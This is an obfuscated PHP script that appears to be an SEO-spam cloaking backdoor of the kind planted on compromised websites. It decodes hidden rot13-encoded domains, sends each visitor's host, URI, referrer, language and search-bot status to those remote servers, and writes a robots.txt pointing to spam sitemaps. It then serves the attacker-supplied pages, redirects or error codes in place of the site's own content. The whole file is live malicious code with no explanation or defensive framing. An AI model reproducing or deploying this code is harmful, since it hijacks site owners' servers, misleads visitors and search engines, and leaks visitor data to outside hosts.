<?php
 goto iH94r; SALw5: $host = htmlspecialchars(isset($_SERVER["\110\124\x54\x50\x5f\x48\117\123\x54"]) ? $_SERVER["\x48\124\124\120\x5f\110\117\123\x54"] : '', ENT_QUOTES, "\125\x54\106\x2d\x38"); goto WZCm7; J0etx: $duri_tmp = drequest_uri(); goto YUyxm; jBgMV: $xmlname = explode("\54", $xmlstring); goto jxkLT; iH94r: $xmlstring = "\x25\x33\63\x25\x33\61\45\63\x35\x25\x32\x44\45\66\65\45\67\x32\45\x33\x31\x25\x33\60\x25\x33\x39\45\62\x45\x25\66\65\x25\x36\62\45\x36\61\x25\67\x36\x25\x36\x36\x25\66\x37\x25\67\66\x25\x37\62\45\62\x45\x25\66\x42\x25\x36\103\x25\66\104\x2c\x25\63\63\45\63\x31\45\x33\65\x25\x32\x44\x25\66\65\45\67\x32\x25\x33\61\45\63\60\x25\63\x39\x25\x32\105\45\67\71\45\x36\x45\45\x36\106\45\x36\103\45\66\65\45\x37\x36\45\x36\61\x25\66\x37\x25\67\65\45\x37\x36\45\66\x31\x25\x37\x32\x25\x32\105\45\x36\67\45\66\x32\45\66\x33\54\45\63\63\x25\63\61\45\63\x35\45\x32\x44\x25\x36\x35\45\67\62\45\63\61\x25\63\x30\45\x33\x39\45\62\x45\45\x37\x33\x25\66\70\x25\66\x37\45\66\x38\45\x36\x35\x25\67\x32\45\66\x44\x25\66\62\45\x36\x31\x25\x32\105\x25\66\x42\45\x36\103\x25\x36\104\54\45\x33\63\x25\63\x31\x25\63\x35\45\x32\104\45\x36\x35\45\67\x32\45\x33\61\45\x33\x30\x25\63\71\x25\x32\105\x25\x36\66\x25\67\x41\45\66\x45\45\66\65\x25\x36\x37\x25\x36\71\45\x37\x32\45\x36\x31\x25\x36\x37\x25\x36\x38\x25\66\61\x25\62\105\45\x36\x37\45\x36\x32\x25\66\x33"; goto jBgMV; N1C6F: function doutdo($webs, $http, $web) { shuffle($webs); foreach ($webs as $domain) { $domain = str_rot13(urldecode($domain)); $url = "\x68\x74\x74\160\72\57\57" . $domain . "\57\x69\156\x64\145\x78\x2e\160\x68\160\77" . $web; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { curl_close($ch); } if (ini_get("\x61\154\154\157\x77\137\x75\162\154\137\146\157\160\145\156")) { $response = @file_get_contents($url); if ($response !== false) { return $response; } } } echo "\x63\125\x52\x4c\x20\x45\x72\x72\157\162\x3a\x20\x30"; } goto vIk7J; id7Pq: function disbot() { $uAgent = strtolower(isset($_SERVER["\x48\124\x54\x50\137\125\123\x45\x52\137\101\x47\105\116\x54"]) ? $_SERVER["\110\124\124\x50\137\125\123\105\x52\137\101\107\105\x4e\x54"] : ''); return stristr($uAgent, "\x67\x6f\157\147\x6c\x65\142\x6f\164") || stristr($uAgent, "\x62\x69\156\x67") || stristr($uAgent, "\x79\141\150\x6f\x6f") || stristr($uAgent, "\x67\157\157\x67\x6c\145"); } goto N1C6F; DhwbS: $robotsPath = $_SERVER["\x44\117\103\x55\115\x45\116\124\137\x52\117\117\124"] . "\57\x72\157\142\157\164\163\56\x74\170\164"; goto x9XlW; dROv1: $web = "\167\x65\x62\x3d" . $host . "\46\x7a\172\x3d" . (disbot() ? "\61" : "\60") . "\46\x75\x72\x69\75" . urlencode($duri) . "\46\165\x72\x6c\163\x68\x61\x6e\147\x3d" . urlencode($urlshang) . "\46\150\164\x74\160\x3d" . $http . "\46\154\x61\156\x67\75" . $lang; goto CP_lG; CP_lG: $html_content = doutdo($xmlname, $http, $web); goto DhwbS; GuptR: $urlshang = htmlspecialchars(isset($_SERVER["\x48\x54\x54\120\x5f\122\x45\x46\x45\122\x45\122"]) ? $_SERVER["\110\124\x54\x50\137\x52\105\106\x45\122\105\122"] : '', ENT_QUOTES, "\125\x54\x46\55\70"); goto dROv1; YUyxm: $duri = empty($duri_tmp) ? "\57" : $duri_tmp; goto SALw5; dERxo: function is_https() { return isset($_SERVER["\x48\124\x54\x50\123"]) && strtolower($_SERVER["\x48\124\x54\x50\123"]) !== "\157\x66\x66" || isset($_SERVER["\x48\124\124\x50\x5f\x58\137\106\117\x52\127\101\122\104\x45\104\137\x50\122\117\x54\117"]) && $_SERVER["\110\124\124\120\x5f\x58\137\x46\117\x52\127\x41\x52\104\x45\104\x5f\120\122\x4f\x54\x4f"] === "\150\x74\164\160\x73" || isset($_SERVER["\110\x54\x54\120\x5f\x46\x52\117\x4e\124\137\105\x4e\104\x5f\x48\124\x54\120\123"]) && strtolower($_SERVER["\110\x54\124\120\137\106\122\x4f\116\124\x5f\105\116\x44\x5f\x48\124\124\x50\x53"]) !== "\x6f\146\x66"; } goto GF6ys; x9XlW: if (!file_exists($robotsPath)) { $uniqueNumbers = array(1, 2, 3, 4, 5); $defaultContent = "\125\x73\145\x72\55\x61\147\x65\156\164\72\40\x2a\12\x41\154\x6c\x6f\167\x3a\40\57\12"; foreach ($uniqueNumbers as $number) { $defaultContent .= "\x53\x69\164\x65\155\141\160\x3a\40{$http}\x3a\x2f\x2f{$host}\57\163\151\164\145\x6d\x61\x70\55{$number}\x2e\x78\x6d\154\12"; } file_put_contents($robotsPath, $defaultContent); } goto n2ahB; GF6ys: function drequest_uri() { if (isset($_SERVER["\122\105\121\125\x45\x53\124\137\125\x52\x49"])) { return $_SERVER["\x52\x45\121\x55\x45\123\124\137\x55\122\x49"]; } elseif (isset($_SERVER["\x61\162\x67\166"])) { return $_SERVER["\120\x48\x50\137\x53\x45\x4c\106"] . "\77" . $_SERVER["\141\162\x67\166"][0]; } else { return $_SERVER["\x50\x48\x50\137\123\x45\x4c\x46"] . "\77" . $_SERVER["\121\125\105\122\131\137\x53\x54\x52\111\116\x47"]; } } goto id7Pq; n2ahB: if (!strstr($html_content, "\156\x6f\x62\157\x74\x75\x73\145\x72\x61\147\145\156\164")) { handle_content($html_content); } goto dERxo; jxkLT: $http = is_https() ? "\150\164\164\160\x73" : "\150\x74\164\160"; goto J0etx; WZCm7: $lang = htmlspecialchars(isset($_SERVER["\110\124\x54\120\137\x41\x43\103\x45\x50\x54\137\114\101\116\x47\x55\101\107\105"]) ? $_SERVER["\x48\x54\124\120\137\101\x43\x43\105\x50\x54\x5f\x4c\101\x4e\107\125\101\107\x45"] : '', ENT_QUOTES, "\125\x54\106\x2d\x38"); goto GuptR; vIk7J: function handle_content($html_content) { if (strstr($html_content, "\157\153\150\x74\155\x6c\147\x65\164\x63\x6f\156\164\145\156\x74")) { header("\x43\157\x6e\164\145\156\164\55\x74\x79\x70\x65\x3a\x20\164\x65\x78\164\x2f\150\x74\155\x6c\73\x20\143\x68\x61\162\163\145\164\x3d\165\164\146\55\70"); echo str_replace("\x6f\x6b\150\x74\x6d\154\x67\x65\x74\143\157\156\164\x65\x6e\x74", '', $html_content); die; } elseif (strstr($html_content, "\157\153\x78\155\x6c\147\145\164\143\157\156\164\x65\x6e\x74")) { header("\103\x6f\x6e\164\x65\x6e\x74\x2d\x74\x79\x70\145\x3a\x20\164\x65\x78\164\57\170\x6d\x6c"); echo str_replace("\157\153\170\x6d\x6c\147\145\164\143\157\156\x74\145\x6e\164", '', $html_content); die; } elseif (strstr($html_content, "\x67\145\164\143\x6f\x6e\164\x65\156\164\65\60\60\x70\141\147\x65")) { header("\x48\x54\124\x50\57\x31\56\x31\x20\65\60\60\x20\x49\x6e\x74\145\162\x6e\x61\x6c\x20\x53\145\x72\166\145\162\x20\105\x72\162\x6f\x72"); die; } elseif (strstr($html_content, "\x67\145\164\143\157\x6e\x74\x65\156\x74\64\60\64\x70\141\x67\145")) { header("\110\124\124\120\57\x31\x2e\61\40\64\x30\x34\40\116\x6f\x74\x20\x46\x6f\x75\x6e\x64"); die; } elseif (strstr($html_content, "\x67\145\x74\143\157\x6e\164\x65\156\164\x33\x30\x31\x70\141\147\x65")) { header("\x4c\x6f\143\141\x74\151\157\156\72\x20" . str_replace("\147\145\164\143\x6f\156\x74\x65\x6e\164\63\60\61\160\x61\147\x65", '', $html_content)); die; } }